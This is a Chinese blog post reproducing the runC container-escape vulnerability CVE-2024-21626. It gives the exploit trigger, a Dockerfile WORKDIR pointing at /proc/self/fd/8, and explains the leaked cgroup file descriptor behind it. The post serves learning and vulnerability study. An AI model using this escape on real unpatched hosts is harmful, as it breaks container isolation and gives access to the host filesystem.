CVE-2024-21626
研究一下 Docker 的 CVE。
前置知识
什么是 Docker
相信读这篇文章的大部分人都知道 Docker 是什么,但不一定能背出这种八股问题。
Deepseek 给出的回答是:Docker 是一种开源的容器化平台,用于快速构建、打包、部署和运行应用程序。它的核心思想是通过容器技术,将应用及其依赖环境(如库、配置等)打包成一个轻量级、可移植的镜像,从而实现 “一次构建,处处运行”。
什么是 runC
runC 是一个开源的容器运行时,是 Docker 的一部分,用于创建和运行容器。runC 是一个轻量级的工具,它实现了 OCI 标准,可以在任何 OCI 兼容的容器运行时中使用。
复现
用 WSL 一直复现不出来,WSL 的情况很奇怪,docker version
能看到 runc 版本是老的,但是直接执行 runc
又没有这条命令。
尝试了很多次实在不行了,换 VMWare 里搞搞
新建了个 Ubuntu 20.04 的虚拟机,选择 Minimal Installation,不要浏览器之类乱七八糟的东西。
学校内网有镜像站,直接换个源起飞。
1 | sudo rm /etc/apt/sources.list # 要备份就 mv 一下,因为我是新机,就直接删了 |
粘贴后 Ctrl + O
保存,Ctrl + X
退出。
1 | sudo apt update |
这里默认没带 SSH,执行 sudo apt install openssh-server
装一下,不然不太习惯 Ubuntu 自带的终端。
然后安装 Docker:
1 | sudo apt install docker.io |
docker version
看一下版本,runc 是新的,还是得自己编译老版本替换。
1 | git clone https://github.com/opencontainers/runc |
这个新机 make 和 go 都没有,中途也装了一下,不提。
写一个 Dockerfile 如下:
1 | FROM ubuntu |
执行 docker build . -t test
,这里 -t
的意思是 tag。
再执行 docker run --rm -it test bash
,这里 --rm
可以让容器停止后自动删除容器文件系统,避免手动清理临时容器,一般用于测试,-it bash
意思是起一个交互式的 bash shell。
说是可能要多执行几次才会成功,但是执行了几十次都不行,把 Dockerfile 的 WORKDIR
改成 WORKDIR /proc/self/fd/8/
就可以了。
OHHHHHHHHH!!!!!!!!!
以下是命令执行记录:
1 | kali@cverc:~/cve-2024-21626$ sudo docker run --rm -it test bash |
这里简单提下,chroot
是改变根目录的命令,chroot .
就是把当前目录作为根目录,这样操作起来就跟宿主机一样了。
原理
还是得先普及几个概念。
什么是 openat()
这是 DeepSeek 的回答:
openat() 是 Linux 系统中的一个系统调用,用于以相对路径的方式打开文件或目录,旨在解决传统 open() 函数在多线程或路径变化场景下的竞争条件问题。
首先我们知道 open()
是一个关于文件的系统调用,那么就可以大概理解成 openat()
是 open()
的一个改良。
关于 open() 函数的条件竞争问题
这个属于题外话,感兴趣的朋友可以看一下,不感兴趣的直接往下过就行。
条件竞争有些情景也叫竞态条件,可以大致理解成一回事。
我们可以用一个简单的例子来说明这个问题,先在 /tmp/dir1
和 /tmp/dir2
下分别创建一个文件 test.txt
,命令如下:
1 | mkdir -p /tmp/dir1 /tmp/dir2 && \ |
然后写一个简单的 C 代码:
1 |
|
编译并运行这个程序:
1 | gcc -o race_condition_test race_condition_test.c -lpthread && ./race_condition_test |
可以看到执行结果如下:
1 | open succeeded |
读者稍加理解上以代码和运行结果就可以发现,open()
函数容易受到 CWD(Current Working Directory,当前工作目录)的影响,若多个线程同时调用 chdir()
修改全局 CWD,并依赖相对路径调用 open()
,其他线程的后续 open()
操作就可能因 CWD 被意外修改而解析到错误路径。
这个时候 openat()
就来了,man 官网上关于 open
家族的函数的描述如下:
1 |
|
可以看到,openat()
函数比 open()
多了一个 dirfd
参数,这个参数是一个文件描述符,用于指定相对路径的起始目录,而不是依赖全局 CWD,这样就避免的 open()
函数的条件竞争问题。
demo 如下:
1 | int dirfd = open("/home", O_RDONLY | O_DIRECTORY); |
具体的对比测试就不做了,反正肯定可以解决上面的问题的(不然搞来干嘛 hhh
openat() | openat(2) | openat2() | openat2(2) 的区别
在搜索的过程中,这几个玩意都有出现,给我绕晕了。
吐槽一下,nitroc 的文章里面一会 openat(2)
一会 openat2(2)
的,一切换成他的英文版本又全是 openat2(2)
,不是哥们你能不能好好写文章,有点逆天了。
这块问了下 DeepSeek,然后自己试了一下,大概得出的结论如下:
先说 openat()
和 openat2()
,首先上面的文档比较明显地看到 openat()
和 openat2()
在参数上的区别,openat()
采用的还是传统的 flags,而 openat2()
采用的是 struct open_how
结构体,可以说 openat2()
是 openat()
的一个扩展,具体不作展开,读者有兴趣可以自行查阅相关文档。
那 openat(2)
和 openat2(2)
又是什么呢?经过我的测试,结论有点无语,这个 2
指的是 Linux 手册页第 2 部分,执行命令 man 2 openat
可以在本地看到相关文档,翻到最后,有个
1 | SEE ALSO |
不信邪的读者可以执行 man 7 fifo
,就能看到相关文档,但是执行 man 2 fifo
,即在第 7 部分以外的地方查找,就会提示 No manual entry for fifo in section 2
,其他命令类似。
什么是 Cgroups
以下是 DeepSeek 的回答:
Cgroups(Control Groups) 是 Linux 内核提供的一种机制,用于对系统资源(如 CPU、内存、磁盘 I/O、网络等)进行分组管理和限制。它通过将进程及其子进程组织成层级化的“控制组”,实现对不同进程组的资源分配、优先级调整和监控。
那么说人话就是,Cgroups 是用来调控资源的使用的。
Docker 通过 Namespace 实现了容器的隔离,通过 Cgroups 实现了容器的资源限制,太有意思了。
Docker 运行流程
1 | 用户操作层 |
现在我们可以系统地观察一下 Docker 启用一个容器的流程了,再补充一个热知识:dockerd 后面的 d 指的是 daemon,守护进程的意思,containerd 后面的 d 同理,sshd 等平时应该也见过。
containerd-shim 则是 containerd 的一个子进程,负责管理单个容器的生命周期,与容器是一一对应的关系。从 shim 的英文意思(垫片)可以看出,是一个连接 containerd 和 runc 的桥梁,避免单个容器的异常影响整个 containerd 的运行。
为什么会产生这个漏洞
观察 Cgroups 关于这个漏洞的修复
https://github.com/opencontainers/cgroups/commit/8f731c2c1785c565ac665fcc309e87b31305bea2
可以很明显地发现关于 openat2()
的调用产生如下变化:
1 | - Flags: unix.O_DIRECTORY | unix.O_PATH, |
可以看到之前是不带 O_CLOEXEC
的,O_CLOEXEC
是一个标志位,全称 Close-on-Exec,核心作用是在进程调用 exec 系列函数(如 execve)执行新程序时,自动关闭当前打开的文件描述符,从而避免子进程继承不必要的资源。
prepareOpenat2()
函数会测试一下 openat2()
能不能用,因为 openat2()
是 Linux 5.6 版本才有的,但是由于没加 O_CLOEXEC
,这个测试不会把打开过的主机 /sys/fs/cgroup
的 fd 关掉,以至于子进程仍然可以访问这个 fd,最终导致逃逸的发生。
那为什么 /sys/fs/cgroup
的文件描述符是 8 呢,根据文章的说法,这个与 Golang 运行时有关系,我们知道 0 是 stdin,1 是 stdout,2 是 stderr,然后一些日志啥的会用到 fd,排队排到 /sys/fs/cgroup
的时候就变成 8 了。
总结
算是比较系统地了解了一下 Docker,复现 CVE 真的能学到东西的。
参考
https://nitroc.org/posts/cve-2024-21626-illustrated
https://www.manjusaka.blog/posts/2024/02/10/CVE-2024-21626/index.html
https://blog.csdn.net/qq_42931917/article/details/131468557
https://man7.org/linux/man-pages/man2/open.2.html
https://github.com/opencontainers/cgroups/blob/2a61babab3b079d757796fb543bf91400d15d4b9/file.go#L110
CVE-2024-21626